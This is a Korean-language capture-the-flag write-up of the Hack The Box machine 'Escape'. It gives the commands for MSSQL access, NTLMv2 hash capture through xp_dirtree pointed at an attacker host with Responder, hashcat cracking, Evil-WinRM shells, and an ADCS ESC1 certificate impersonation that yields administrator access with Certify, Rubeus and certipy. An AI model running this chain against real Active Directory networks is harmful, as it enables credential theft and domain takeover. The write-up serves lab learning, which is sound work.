링크: https://app.hackthebox.com/machines/Escape Write-up 참고: https://0xdf.gitlab.io/2023/06/17/htb-escape.html 난이도: Medium OS: Windows (Active Directory + ADCS)


공격 흐름 (Attack Flow)

Nmap 스캔 (SMB, MSSQL 1433, LDAP, Kerberos, WinRM)
  → SMB 익명 접속 → PDF에서 MSSQL 게스트 크리덴셜 발견
    → impacket-mssqlclient로 MSSQL 접속
      → xp_dirtree로 NTLMv2 해시 캡처 (Responder)
        → hashcat 크래킹 → sql_svc 크리덴셜
          → Evil-WinRM 접속
            → MSSQL 로그에서 Administrator 크리덴셜 발견
              → Certify로 ADCS ESC1 취약점 발견
                → 인증서 요청 (administrator 사칭)
                  → Pass-The-Cert (PKINIT)

1. Recon

nmap -Pn -p- --open -n --min-rate 2000 10.129.251.62

주요 포트:

  • 53 (DNS), 88 (Kerberos), 135, 139, 445 (SMB)
  • 1433 (MSSQL), 389/636 (LDAP), 5985 (WinRM)

도메인: sequel.htb


2. SMB → MSSQL 게스트 크리덴셜

SMB 익명 접속으로 공유 폴더 확인:

smbclient //10.129.251.62/Public -N

PDF 파일 발견 → MSSQL 게스트 계정 정보 포함


3. MSSQL xp_dirtree → NTLMv2 해시 캡처

# 1. Responder 실행 (NTLMv2 캡처 대기)
responder -I tun0 -v
 
# 2. impacket-mssqlclient로 접속
impacket-mssqlclient PublicUser:GuestUserCantWrite1@10.129.251.62 -windows-auth
 
# 3. xp_dirtree로 공격자 서버에 UNC 경로 접근 유도
SQL> EXEC xp_dirtree '\\10.10.14.x\share', 1, 1

Responder에서 sql_svc 계정의 NTLMv2 해시 캡처

xp_dirtree 원리

xp_dirtree는 MSSQL의 확장 저장 프로시저로 UNC 경로를 통해 원격 파일시스템에 접근한다. MSSQL 서비스 계정으로 SMB 인증을 시도하므로 NTLMv2 해시가 공격자 서버로 전송된다.


4. 해시 크래킹 → Evil-WinRM 접속

hashcat -m 5600 sql_svc_hash.txt rockyou.txt

sql_svc : REGGIE1234ronnie

evil-winrm -i 10.129.251.62 -u sql_svc -p REGGIE1234ronnie

5. 로그 파일에서 크리덴셜 발견

MSSQL 로그 파일 분석:

type C:\SQLServer\Logs\ERRORLOG.BAK

Ryan.Cooper 계정의 평문 패스워드 발견 (로그인 실패 로그에 패스워드가 실수로 포함됨)

→ Evil-WinRM으로 Ryan.Cooper 접속 → user.txt 획득


6. ADCS ESC1 — 인증서 기반 권한 상승

Certify로 취약한 템플릿 발견

.\Certify.exe find /vulnerable

UserAuthentication 템플릿이 ESC1 취약점 보유:

  • ENROLLEE_SUPPLIES_SUBJECT 플래그 활성화
  • 인증서 요청 시 임의의 SAN(Subject Alternative Name) 지정 가능

ESC1 공격

# 1. Administrator 사칭 인증서 요청
.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator
 
# 2. 인증서를 pfx로 변환
openssl pkcs12 -in cert.pem -keyfile key.pem -export -out admin.pfx
 
# 3. PKINIT으로 TGT 획득
.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password:PASSWORD /ptt
 
# 또는 certipy 사용 (Linux)
certipy auth -pfx admin.pfx -dc-ip 10.129.251.62

→ Administrator NTLM 해시 획득 → root.txt 획득


ADCS ESC1 이란?

Active Directory Certificate Services(ADCS)의 잘못된 템플릿 설정이다.

ESC1 조건:

  1. 인증서 템플릿에서 ENROLLEE_SUPPLIES_SUBJECT 허용
  2. Client Authentication EKU 포함
  3. 낮은 권한 사용자가 등록 가능

결과: 낮은 권한 사용자가 Domain Admin 등 임의 계정 사칭 인증서 발급 가능


핵심 취약점 요약

취약점설명
MSSQL xp_dirtreeNTLMv2 해시 강제 전송
로그 파일 크리덴셜 노출평문 패스워드 로그 저장
ADCS ESC1임의 SAN으로 관리자 인증서 발급

htb active-directory adcs esc1 mssql xp_dirtree